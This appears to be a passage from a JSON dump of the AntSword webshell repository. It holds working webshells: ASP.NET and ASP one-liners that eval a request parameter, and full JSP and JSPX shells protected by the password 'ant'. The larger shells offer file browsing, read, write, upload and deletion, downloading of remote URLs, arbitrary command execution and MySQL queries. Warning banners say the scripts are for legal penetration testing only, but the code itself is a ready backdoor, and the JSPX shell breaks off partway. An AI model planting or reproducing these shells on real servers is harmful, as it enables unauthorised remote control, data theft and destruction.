    }\n        StringBuilder sb = new StringBuilder();\n        if(needcoluname){\n            for(int i = 0; i < ds.Tables[0].Columns.Count; i++){\n                sb.AppendFormat(\"{0}{1}\",ds.Tables[0].Columns[i].ColumnName, columnsep);\n            }\n            sb.Append(rowsep);\n        }\n        foreach (DataTable dt in ds.Tables){\n            foreach (DataRow dr in dt.Rows){\n                for (int i = 0; i < dr.Table.Columns.Count; i++){\n                    sb.AppendFormat(\"{0}{1}\", ObjToStr(dr[i]), columnsep);\n                }\n                sb.Append(rowsep);\n            }\n        }\n        return sb.ToString();\n    }\n\n    public string ObjToStr(object ob){\n        if (ob == null){\n            return string.Empty;\n        }else\n            return ob.ToString();\n    }\n\n}"
  },
  {
    "path": "antSword/shells/asp.net_eval_script.aspx",
    "content": "<%--\n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword ASP.Net eval Script\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n*  pwd = ant\n*/\n--%>\n<%@ Page Language=\"Jscript\"%>\n<% eval(Request.Item[\"ant\"],\"unsafe\"); %>"
  },
  {
    "path": "antSword/shells/asp_eval_xxxx_script.asp",
    "content": "<!-- \n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword ASP eval xxxx Script\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n*\n*  密码: ant\n*\n*  此脚本需与 asp xxxxdog 编码器配套使用\n-->\n<%Function xxxx(str) eval str End Function%><%D = request(\"ant\")%><%xxxx D%>"
  },
  {
    "path": "antSword/shells/jsp_custom_script_for_mysql.jsp",
    "content": "<%--\n             _   ____                       _\n  __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n| (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n———————————————————————————————————————————————\n    AntSword JSP Custom Script for Mysql\n    警告：\n        此脚本仅供合法的渗透测试以及爱好者参考学习\n         请勿用于非法用途，否则将追究其相关责任！\n———————————————————————————————————————————————\n\n说明：\n 1. AntSword >= v1.1-dev\n 2. 创建 Shell 时选择 custom 模式连接\n 3. 数据库连接：\n    com.mysql.jdbc.Driver\n    jdbc:mysql://localhost/test?user=root&password=123456\n\n    注意：以上是两行\n 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空\n\n已知问题：\n 1. 文件管理遇到中文文件名显示的问题\nChangeLog:\n  v1.3\n   1. 修正上传文件超过1M时的bug\n   2. 修正weblogic war 包布署获取路径问题\n   3. 修正文件中文字符问题\n  Date: 2016/04/29 v1.2\n   1. 修正修改包含结束tag的文件会出错的 bug\n  Date: 2016/04/06 v1.1\n   1. 修正下载文件参数设置错误\n   2. 修正一些注释的细节\n  Date: 2016/03/26 v1\n   1. 文件系统 和 terminal 管理\n   2. mysql 数据库支持\n   3. 支持 base64 和 hex 编码\n--%>\n<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\" contentType=\"text/html;charset=UTF-8\"%>\n<%!\n// ################################################\n    String Pwd = \"ant\";   //连接密码\n    // 数据编码 3 选 1\n    String encoder = \"\";       // default\n    // String encoder = \"base64\"; //base64\n    // String encoder = \"hex\";    //hex(推荐)\n    String cs = \"UTF-8\"; // 编码方式\n// ################################################\n\n    String EC(String s) throws Exception {\n        if(encoder.equals(\"hex\") || encoder == \"hex\") return s;\n        return new String(s.getBytes(), cs);\n    }\n\n    String showDatabases(String encode, String conn) throws Exception {\n        String sql = \"show databases\";\n        String columnsep = \"\\t\";\n        String rowsep = \"\";\n        return executeSQL(encode, conn, sql, columnsep, rowsep, false);\n    }\n\n    String showTables(String encode, String conn, String dbname) throws Exception {\n        String sql = \"show tables from \" + dbname;\n        String columnsep = \"\\t\";\n        String rowsep = \"\";\n        return executeSQL(encode, conn, sql, columnsep, rowsep, false);\n    }\n\n    String showColumns(String encode, String conn, String dbname, String table) throws Exception {\n        String columnsep = \"\\t\";\n        String rowsep = \"\";\n        String sql = \"select * from \" + dbname + \".\" + table + \" limit 0,0\";\n        return executeSQL(encode, conn, sql, columnsep, rowsep, true);\n    }\n\n    String query(String encode, String conn, String sql) throws Exception {\n        String columnsep = \"\\t|\\t\";\n        String rowsep = \"\\r\\n\";\n        return executeSQL(encode, conn, sql, columnsep, rowsep, true);\n    }\n\n    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)\n            throws Exception {\n        String ret = \"\";\n        conn = (EC(conn));\n        String[] x = conn.trim().replace(\"\\r\\n\", \"\\n\").split(\"\\n\");\n        Class.forName(x[0].trim());\n        String url = x[1] + \"&characterEncoding=\" + decode(EC(encode),encoder);\n        Connection c = DriverManager.getConnection(url);\n        Statement stmt = c.createStatement();\n        ResultSet rs = stmt.executeQuery(sql);\n        ResultSetMetaData rsmd = rs.getMetaData();\n\n        if (needcoluname) {\n            for (int i = 1; i <= rsmd.getColumnCount(); i++) {\n                String columnName = rsmd.getColumnName(i);\n                ret += columnName + columnsep;\n            }\n            ret += rowsep;\n        }\n\n        while (rs.next()) {\n            for (int i = 1; i <= rsmd.getColumnCount(); i++) {\n                String columnValue = rs.getString(i);\n                ret += columnValue + columnsep;\n            }\n            ret += rowsep;\n        }\n        return ret;\n    }\n\n    String WwwRootPathCode(HttpServletRequest r) throws Exception {\n        String d = this.getClass().getResource(\"/\").getPath();\n        String s = \"\";\n        if (!d.substring(0, 1).equals(\"/\")) {\n            File[] roots = File.listRoots();\n            for (int i = 0; i < roots.length; i++) {\n                s += roots[i].toString().substring(0, 2) + \"\";\n            }\n        } else {\n            s += \"/\";\n        }\n        return s;\n    }\n\n    String FileTreeCode(String dirPath) throws Exception {\n        File oF = new File(dirPath), l[] = oF.listFiles();\n        String s = \"\", sT, sQ, sF = \"\";\n        java.util.Date dt;\n        String fileCode=(String)System.getProperties().get(\"file.encoding\");\n        SimpleDateFormat fm = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        for (int i = 0; i < l.length; i++) {\n            dt = new java.util.Date(l[i].lastModified());\n            sT = fm.format(dt);\n            sQ = l[i].canRead() ? \"R\" : \"\";\n            sQ += l[i].canWrite() ? \" W\" : \"\";\n            String nm = new String(l[i].getName().getBytes(fileCode), cs);\n            if (l[i].isDirectory()) {\n                s += nm + \"/\\t\" + sT + \"\\t\" + l[i].length() + \"\\t\" + sQ + \"\\n\";\n            } else {\n                sF += nm + \"\\t\" + sT + \"\\t\" + l[i].length() + \"\\t\" + sQ + \"\\n\";\n            }\n        }\n        s += sF;\n        return new String(s.getBytes(fileCode), cs);\n    }\n\n    String ReadFileCode(String filePath) throws Exception {\n        String l = \"\", s = \"\";\n        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));\n        while ((l = br.readLine()) != null) {\n            s += l + \"\\r\\n\";\n        }\n        br.close();\n        return s;\n    }\n\n    String WriteFileCode(String filePath, String fileContext) throws Exception {\n        String h = \"0123456789ABCDEF\";\n        String fileHexContext = strtohexstr(fileContext);\n        File f = new File(filePath);\n        FileOutputStream os = new FileOutputStream(f);\n        for (int i = 0; i < fileHexContext.length(); i += 2) {\n            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));\n        }\n        os.close();\n        return \"1\";\n    }\n\n    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {\n        File f = new File(fileOrDirPath);\n        if (f.isDirectory()) {\n            File x[] = f.listFiles();\n            for (int k = 0; k < x.length; k++) {\n                if (!x[k].delete()) {\n                    DeleteFileOrDirCode(x[k].getPath());\n                }\n            }\n        }\n        f.delete();\n        return \"1\";\n    }\n\n    void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {\n        int n;\n        byte[] b = new byte[512];\n        r.reset();\n        ServletOutputStream os = r.getOutputStream();\n        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));\n        os.write((\"->\"+\"|\").getBytes(), 0, 3);\n        while ((n = is.read(b, 0, 512)) != -1) {\n            os.write(b, 0, n);\n        }\n        os.write((\"|\"+\"<-\").getBytes(), 0, 3);\n        os.close();\n        is.close();\n    }\n\n    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {\n        String h = \"0123456789ABCDEF\";\n        File f = new File(savefilePath);\n        f.createNewFile();\n        FileOutputStream os = new FileOutputStream(f,true);\n        for (int i = 0; i < fileHexContext.length(); i += 2) {\n            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));\n        }\n        os.close();\n        return \"1\";\n    }\n\n    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {\n        File sf = new File(sourceFilePath), df = new File(targetFilePath);\n        if (sf.isDirectory()) {\n            if (!df.exists()) {\n                df.mkdir();\n            }\n            File z[] = sf.listFiles();\n            for (int j = 0; j < z.length; j++) {\n                CopyFileOrDirCode(sourceFilePath + \"/\" + z[j].getName(), targetFilePath + \"/\" + z[j].getName());\n            }\n        } else {\n            FileInputStream is = new FileInputStream(sf);\n            FileOutputStream os = new FileOutputStream(df);\n            int n;\n            byte[] b = new byte[1024];\n            while ((n = is.read(b, 0, 1024)) != -1) {\n                os.write(b, 0, n);\n            }\n            is.close();\n            os.close();\n        }\n        return \"1\";\n    }\n\n    String RenameFileOrDirCode(String oldName, String newName) throws Exception {\n        File sf = new File(oldName), df = new File(newName);\n        sf.renameTo(df);\n        return \"1\";\n    }\n\n    String CreateDirCode(String dirPath) throws Exception {\n        File f = new File(dirPath);\n        f.mkdir();\n        return \"1\";\n    }\n\n    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {\n        File f = new File(fileOrDirPath);\n        SimpleDateFormat fm = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        java.util.Date dt = fm.parse(aTime);\n        f.setLastModified(dt.getTime());\n        return \"1\";\n    }\n\n    String WgetCode(String urlPath, String saveFilePath) throws Exception {\n        URL u = new URL(urlPath);\n        int n = 0;\n        FileOutputStream os = new FileOutputStream(saveFilePath);\n        HttpURLConnection h = (HttpURLConnection) u.openConnection();\n        InputStream is = h.getInputStream();\n        byte[] b = new byte[512];\n        while ((n = is.read(b)) != -1) {\n            os.write(b, 0, n);\n        }\n        os.close();\n        is.close();\n        h.disconnect();\n        return \"1\";\n    }\n\n    String SysInfoCode(HttpServletRequest r) throws Exception {\n        String d = \"\";\n        try {\n            if(r.getSession().getServletContext().getRealPath(\"/\") != null){\n                d = r.getSession().getServletContext().getRealPath(\"/\");\n            }else{\n                String cd = this.getClass().getResource(\"/\").getPath();\n                d = new File(cd).getParent();\n            }\n        } catch (Exception e) {\n            String cd = this.getClass().getResource(\"/\").getPath();\n            d = new File(cd).getParent();\n        }\n        String serverInfo = (String)System.getProperty(\"os.name\");\n        String separator = File.separator;\n        String user = (String)System.getProperty(\"user.name\");\n        String driverlist = WwwRootPathCode(r);\n        return d + \"\\t\" + driverlist + \"\\t\" + serverInfo + \"\\t\" + user;\n    }\n\n    boolean isWin() {\n        String osname = (String)System.getProperty(\"os.name\");\n        osname = osname.toLowerCase();\n        if (osname.startsWith(\"win\"))\n            return true;\n        return false;\n    }\n\n    String ExecuteCommandCode(String cmdPath, String command) throws Exception {\n        StringBuffer sb = new StringBuffer(\"\");\n        String[] c = { cmdPath, !isWin() ? \"-c\" : \"/c\", command };\n        Process p = Runtime.getRuntime().exec(c);\n        CopyInputStream(p.getInputStream(), sb);\n        CopyInputStream(p.getErrorStream(), sb);\n        return sb.toString();\n    }\n    \n    String getEncoding(String str) {\n        String encode[] = new String[]{\n                \"UTF-8\",\n                \"ISO-8859-1\",\n                \"GB2312\",\n                \"GBK\",\n                \"GB18030\",\n                \"Big5\",\n                \"Unicode\",\n                \"ASCII\"\n        };\n        for (int i = 0; i < encode.length; i++){\n            try {\n                if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {\n                    return encode[i];\n                }\n            } catch (Exception ex) {\n            }\n        }\n        \n        return \"\";\n    }\n    String strtohexstr(String fileContext)throws Exception{\n        String h = \"0123456789ABCDEF\";\n        byte[] bytes = fileContext.getBytes(cs);\n        \n        StringBuilder sb = new StringBuilder(bytes.length * 2);\n        for (int i = 0; i < bytes.length; i++) {\n            sb.append(h.charAt((bytes[i] & 0xf0) >> 4));\n            sb.append(h.charAt((bytes[i] & 0x0f) >> 0));\n        }\n        String fileHexContext = sb.toString();\n        return fileHexContext;\n    }\n\n    String decode(String str) {\n        byte[] bt = null;\n        try {\n            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();\n            bt = decoder.decodeBuffer(str);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return new String(bt);\n    }\n    String decode(String str, String encode) throws Exception{\n        if(encode.equals(\"hex\") || encode==\"hex\"){\n            if(str==\"null\"||str.equals(\"null\")){\n                return \"\";\n            }\n            String hexString = \"0123456789ABCDEF\";\n            str = str.toUpperCase();\n            ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);\n            String ss = \"\";\n            for (int i = 0; i < str.length(); i += 2){\n                ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + \",\";\n                baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));\n            }\n            return baos.toString(cs);\n        }else if(encode.equals(\"base64\") || encode == \"base64\"){\n            byte[] bt = null;\n            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();\n            bt = decoder.decodeBuffer(str);\n            return new String(bt,cs);\n        }\n        return str;\n    }\n\n    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {\n        String l;\n        BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));\n        while ((l = br.readLine()) != null) {\n            sb.append(l + \"\\r\\n\");\n        }\n        br.close();\n    }%>\n<%\n    response.setContentType(\"text/html\");\n    request.setCharacterEncoding(cs);\n    response.setCharacterEncoding(cs);\n    StringBuffer sb = new StringBuffer(\"\");\n    try {\n        String funccode = EC(request.getParameter(Pwd) + \"\");\n        String z0 = decode(EC(request.getParameter(\"z0\")+\"\"), encoder);\n        String z1 = decode(EC(request.getParameter(\"z1\") + \"\"), encoder);\n        String z2 = decode(EC(request.getParameter(\"z2\") + \"\"), encoder);\n        String z3 = decode(EC(request.getParameter(\"z3\") + \"\"), encoder);\n        String[] pars = { z0, z1, z2, z3};\n        sb.append(\"->\" + \"|\");\n\n        if (funccode.equals(\"B\")) {\n            sb.append(FileTreeCode(pars[1]));\n        } else if (funccode.equals(\"C\")) {\n            sb.append(ReadFileCode(pars[1]));\n        } else if (funccode.equals(\"D\")) {\n            sb.append(WriteFileCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"E\")) {\n            sb.append(DeleteFileOrDirCode(pars[1]));\n        } else if (funccode.equals(\"F\")) {\n            DownloadFileCode(pars[1], response);\n        } else if (funccode.equals(\"U\")) {\n            sb.append(UploadFileCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"H\")) {\n            sb.append(CopyFileOrDirCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"I\")) {\n            sb.append(RenameFileOrDirCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"J\")) {\n            sb.append(CreateDirCode(pars[1]));\n        } else if (funccode.equals(\"K\")) {\n            sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"L\")) {\n            sb.append(WgetCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"M\")) {\n            sb.append(ExecuteCommandCode(pars[1], pars[2]));\n        } else if (funccode.equals(\"N\")) {\n            sb.append(showDatabases(pars[0], pars[1]));\n        } else if (funccode.equals(\"O\")) {\n            sb.append(showTables(pars[0], pars[1], pars[2]));\n        } else if (funccode.equals(\"P\")) {\n            sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));\n        } else if (funccode.equals(\"Q\")) {\n            sb.append(query(pars[0], pars[1], pars[2]));\n        } else if (funccode.equals(\"A\")) {\n            sb.append(SysInfoCode(request));\n        }\n    } catch (Exception e) {\n        sb.append(\"ERROR\" + \"://\" + e.toString());\n    }\n    sb.append(\"|\" + \"<-\");\n    out.print(sb.toString());\n%>\n"
  },
  {
    "path": "antSword/shells/jspx_custom_script_for_mysql.jspx",
    "content": "<!--\n             _   ____                       _\n  __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n| (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n———————————————————————————————————————————————\n    AntSword JSPX Custom Script for Mysql\n    警告：\n        此脚本仅供合法的渗透测试以及爱好者参考学习\n         请勿用于非法用途，否则将追究其相关责任！\n———————————————————————————————————————————————\n\n说明：\n 1. AntSword >= v1.1-dev\n 2. 创建 Shell 时选择 custom 模式连接\n 3. 数据库连接：\n    com.mysql.jdbc.Driver\n    jdbc:mysql://localhost/test?user=root&password=123456\n\n    注意：以上是两行\n 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空\n\nVer:1.3\n-->\n<jsp:root xmlns:jsp=\"http://java.sun.com/JSP/Page\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:c=\"http://java.sun.com/jsp/jstl/core\" version=\"1.2\">\n    <jsp:directive.page contentType=\"text/html\" pageEncoding=\"UTF-8\" />\n    <jsp:directive.page import=\"java.io.*\"/>\n    <jsp:directive.page import=\"java.util.*\"/>\n    <jsp:directive.page import=\"java.net.*\"/>\n    <jsp:directive.page import=\"java.sql.*\"/>\n    <jsp:directive.page import=\"java.text.*\"/>\n    <jsp:declaration>\n    <![CDATA[\n        // ################################################\n        String Pwd = \"ant\";   //连接密码\n        // 数据编码 3 选 1\n        String encoder = \"\";       // default\n        // String encoder = \"base64\"; //base64\n        // String encoder = \"hex\";    //hex(推荐)\n        String cs = \"UTF-8\"; // 编码方式\n        // ################################################\n\n        String EC(String s) throws Exception {\n            if(encoder.equals(\"hex\") || encoder == \"hex\") return s;\n            return new String(s.getBytes(), cs);\n        }\n\n        String showDatabases(String encode, String conn) throws Exception {\n            String sql = \"show databases\";\n            String columnsep = \"\\t\";\n            String rowsep = \"\";\n            return executeSQL(encode, conn, sql, columnsep, rowsep, false);\n        }\n\n        String showTables(String encode, String conn, String dbname) throws Exception {\n            String sql = \"show tables from \" + dbname;\n            String columnsep = \"\\t\";\n            String rowsep = \"\";\n            return executeSQL(encode, conn, sql, columnsep, rowsep, false);\n        }\n\n        String showColumns(String encode, String conn, String dbname, String table) throws Exception {\n            String columnsep = \"\\t\";\n            String rowsep = \"\";\n            String sql = \"select * from \" + dbname + \".\" + table + \" limit 0,0\";\n            return executeSQL(encode, conn, sql, columnsep, rowsep, true);\n        }\n\n        String query(String encode, String conn, String sql) throws Exception {\n            String columnsep = \"\\t|\\t\";\n            String rowsep = \"\\r\\n\";\n            return executeSQL(encode, conn, sql, columnsep, rowsep, true);\n        }\n\n        String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)\n                throws Exception {\n            String ret = \"\";\n            conn = (EC(conn));\n            String[] x = conn.trim().replace(\"\\r\\n\", \"\\n\").split(\"\\n\");\n            Class.forName(x[0].trim());\n            String url = x[1] + \"&characterEncoding=\" + decode(EC(encode),encoder);\n            Connection c = DriverManager.getConnection(url);\n            Statement stmt = c.createStatement();\n            ResultSet rs = stmt.executeQuery(sql);\n            ResultSetMetaData rsmd = rs.getMetaData();\n\n            if (needcoluname) {\n                for (int i = 1; i <= rsmd.getColumnCount(); i++) {\n                    String columnName = rsmd.getColumnName(i);\n                    ret += columnName + columnsep;\n                }\n                ret += rowsep;\n            }\n\n            while (rs.next()) {\n                for (int i = 1; i <= rsmd.getColumnCount(); i++) {\n                    String columnValue = rs.getString(i);\n                    ret += columnValue + columnsep;\n                }\n                ret += rowsep;\n            }\n            return ret;\n        }\n\n        String WwwRootPathCode(HttpServletRequest r) throws Exception {\n            String d = this.getClass().getResource(\"/\").getPath();\n            String s = \"\";\n            if (!d.substring(0, 1).equals(\"/\")) {\n                File[] roots = File.listRoots();\n                for (int i = 0; i < roots.length; i++) {\n                    s += roots[i].toString().substring(0, 2) + \"\";\n                }\n            } else {\n                s += \"/\";\n            }\n            return s;\n        }\n\n        String FileTreeCode(String dirPath) throws Exception {\n            File oF = new File(dirPath), l[] = oF.listFiles();\n            String s = \"\", sT, sQ, sF = \"\";\n            java.util.Date dt;\n            String fileCode=(String)System.getProperties().get(\"file.encoding\");\n            SimpleDateFormat fm = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            for (int i = 0; i < l.length; i++) {\n                dt = new java.util.Date(l[i].lastModified());\n                sT = fm.format(dt);\n                sQ = l[i].canRead() ? \"R\" : \"\";\n                sQ += l[i].canWrite() ? \" W\" : \"\";\n                String nm = new String(l[i].getName().getBytes(fileCode), cs);\n                if (l[i].isDirectory()) {\n                    s += nm + \"/\\t\" + sT + \"\\t\" + l[i].length() + \"\\t\" + sQ + \"\\n\";\n                } else {\n                    sF += nm + \"\\t\" + sT + \"\\t\" + l[i].length() + \"\\t\" + sQ + \"\\n\";\n                }\n            }\n            s += sF;\n            return new String(s.getBytes(fileCode), cs);\n        }\n\n        String ReadFileCode(String filePath) throws Exception {\n            String l = \"\", s = \"\";\n            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));\n            while ((l = br.readLine()) != null) {\n                s += l + \"\\r\\n\";\n            }\n            br.close();\n            return s;\n        }\n\n        String WriteFileCode(String filePath, String fileContext) throws Exception {\n            String h = \"0123456789ABCDEF\";\n            String fileHexContext = strtohexstr(fileContext);\n            File f = new File(filePath);\n            FileOutputStream os = new FileOutputStream(f);\n            for (int i = 0; i < fileHexContext.length(); i += 2) {\n                os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));\n            }\n            os.close();\n            return \"1\";\n        }\n\n        String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {\n            File f = new File(fileOrDirPath);\n            if (f.isDirectory()) {\n                File x[] = f.listFiles();\n                for (int k = 0; k < x.length; k++) {\n                    if (!x[k].delete()) {\n                        DeleteFileOrDirCode(x[k].getPath());\n                    }\n                }\n            }\n            f.delete();\n            return \"1\";\n        }\n\n        void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {\n            int n;\n            byte[] b = new byte[512];\n            r.reset();\n            ServletOutputStream os = r.getOutputStream();\n            BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));\n            os.write((\"->\"+\"|\").getBytes(), 0, 3);\n            while ((n = is.read(b, 0, 512)) != -1) {\n                os.write(b, 0, n);\n            }\n            os.write((\"|\"+\"<-\").getBytes(), 0, 3);\n            os.close();\n            is.close();\n        }\n\n        String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {\n            String h = \"0123456789ABCDEF\";\n            File f = new File(savefilePath);\n            f.createNewFile();\n            FileOutputStream os = new FileOutputStream(f,true);\n            for (int i = 0; i < fileHexContext.length(); i += 2) {\n                os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));\n            }\n            os.close();\n            return \"1\";\n        }\n\n        String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {\n            File sf = new File(sourceFilePath), df = new File(targetFilePath);\n            if (sf.isDirectory()) {\n                if (!df.exists()) {\n                    df.mkdir();\n                }\n                File z[] = sf.listFiles();\n                for (int j = 0; j < z.length; j++) {\n                    CopyFileOrDirCode(sourceFilePath + \"/\" + z[j].getName(), targetFilePath + \"/\" + z[j].getName());\n                }\n            } else {\n                FileInputStream is = new FileInputStream(sf);\n                FileOutputStream os = new FileOutputStream(df);\n                int n;\n                byte[] b = new byte[1024];\n                while ((n = is.read(b, 0, 1024)) != -1) {\n                    os.write(b, 0, n);\n                }\n                is.close();\n                os.close();\n            }\n            return \"1\";\n        }\n\n        String RenameFileOrDirCode(String oldName, String newName) throws Exception {\n            File sf = new File(oldName), df = new File(newName);\n            sf.renameTo(df);\n            return \"1\";\n        }\n\n        String CreateDirCode(String dirPath) throws Exception {\n            File f = new File(dirPath);\n            f.mkdir();\n            return \"1\";\n        }\n\n        String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {\n            File f = new File(fileOrDirPath);\n            SimpleDateFormat fm = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            java.util.Date dt = fm.parse(aTime);\n            f.setLastModified(dt.getTime());\n            return \"1\";\n        }\n\n        String WgetCode(String urlPath, String saveFilePath) throws Exception {\n            URL u = new URL(urlPath);\n            int n = 0;\n            FileOutputStream os = new FileOutputStream(saveFilePath);\n            HttpURLConnection h = (HttpURLConnection) u.openConnection();\n            InputStream is = h.getInputStream();\n            byte[] b = new byte[512];\n            while ((n = is.read(b)) != -1) {\n                os.write(b, 0, n);\n            }\n            os.close();\n            is.close();\n            h.disconnect();\n            return \"1\";\n        }\n\n        String SysInfoCode(HttpServletRequest r) throws Exception {\n            String d = \"\";\n            try {\n                if(r.getSession().getServletContext().getRealPath(\"/\") != null){\n                    d = r.getSession().getServletContext().getRealPath(\"/\");\n                }else{\n                    String cd = this.getClass().getResource(\"/\").getPath();\n                    d = new File(cd).getParent();\n                }\n            } catch (Exception e) {\n                String cd = this.getClass().getResource(\"/\").getPath();\n                d = new File(cd).getParent();\n            }\n            String serverInfo = (String)System.getProperty(\"os.name\");\n            String separator = File.separator;\n            String user = (String)System.getProperty(\"user.name\");\n            String driverlist = WwwRootPathCode(r);\n            return d + \"\\t\" + driverlist + \"\\t\" + serverInfo + \"\\t\" + user;\n        }\n\n        boolean isWin() {\n            String osname = (String)System.getProperty(\"os.name\");\n            osname = osname.toLowerCase();\n            if (osname.startsWith(\"win\"))\n                return true;\n            return false;\n        }\n\n        String ExecuteCommandCode(String cmdPath, String command) throws Exception {\n            StringBuffer sb = new StringBuffer(\"\");\n            String[] c = { cmdPath, !isWin() ? \"-c\" : \"/c\", command };\n            Process p = Runtime.getRuntime().exec(c);\n            CopyInputStream(p.getInputStream(), sb);\n            CopyInputStream(p.getErrorStream(), sb);\n            return sb.toString();\n        }\n        \n        String getEncoding(String str) {\n            String encode[] = new String[]{\n                    \"UTF-8\",\n                    \"ISO-8859-1\",\n                    \"GB2312\",\n                    \"GBK\",\n                    \"GB18030\",\n                    \"Big5\",\n                    \"Unicode\",\n                    \"ASCII\"\n            };\n            for (int i = 0; i < encode.length; i++){\n                try {\n                    if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {\n                        return encode[i];\n                    }\n                } catch (Exception ex) {\n                }\n            }\n            \n            return \"\";\n        }\n        String strtohexstr(String fileContext)throws Exception{\n            String h = \"0123456789ABCDEF\";\n            byte[] bytes = fileContext.getBytes(cs);\n            \n            StringBuilder sb = new StringBuilder(bytes.length * 2);\n            for (int i = 0; i < bytes.length; i++) {\n                sb.append(h.charAt((bytes[i] & 0xf0) >> 4));\n                sb.append(h.charAt((bytes[i] & 0x0f) >> 0));\n            }\n            String fileHexContext = sb.toString();\n            return fileHexContext;\n        }\n\n        String decode(String str) {\n            byte[] bt = null;\n            try {\n                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();\n                bt = decoder.decodeBuffer(str);\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n            return new String(bt);\n        }\n        String decode(String str, String encode) throws Exception{\n            if(encode.equals(\"hex\") || encode==\"hex\"){\n                if(str==\"null\"||str.equals(\"null\")){\n                    return \"\";\n                }\n                String hexString = \"0123456789ABCDEF\";\n                str = str.toUpperCase();\n                ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);\n                String ss = \"\";\n                for (int i = 0; i < str.length(); i += 2){\n                    ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + \",\";\n                    baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));\n                }\n                return baos.toString(cs);\n            }else if(encode.equals(\"base64\") || encode == \"base64\"){\n                byte[] bt = null;\n                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();\n                bt = decoder.decodeBuffer(str);\n                return new String(bt,cs);\n            }\n            return str;\n        }\n\n        void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {\n            String l;\n            BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));\n            while ((l = br.readLine()) != null) {\n                sb.append(l + \"\\r\\n\");\n            }\n            br.close();\n        }\n    ]]>\n    </jsp:declaration>\n    <jsp:scriptlet>\n    <![CDATA[\n        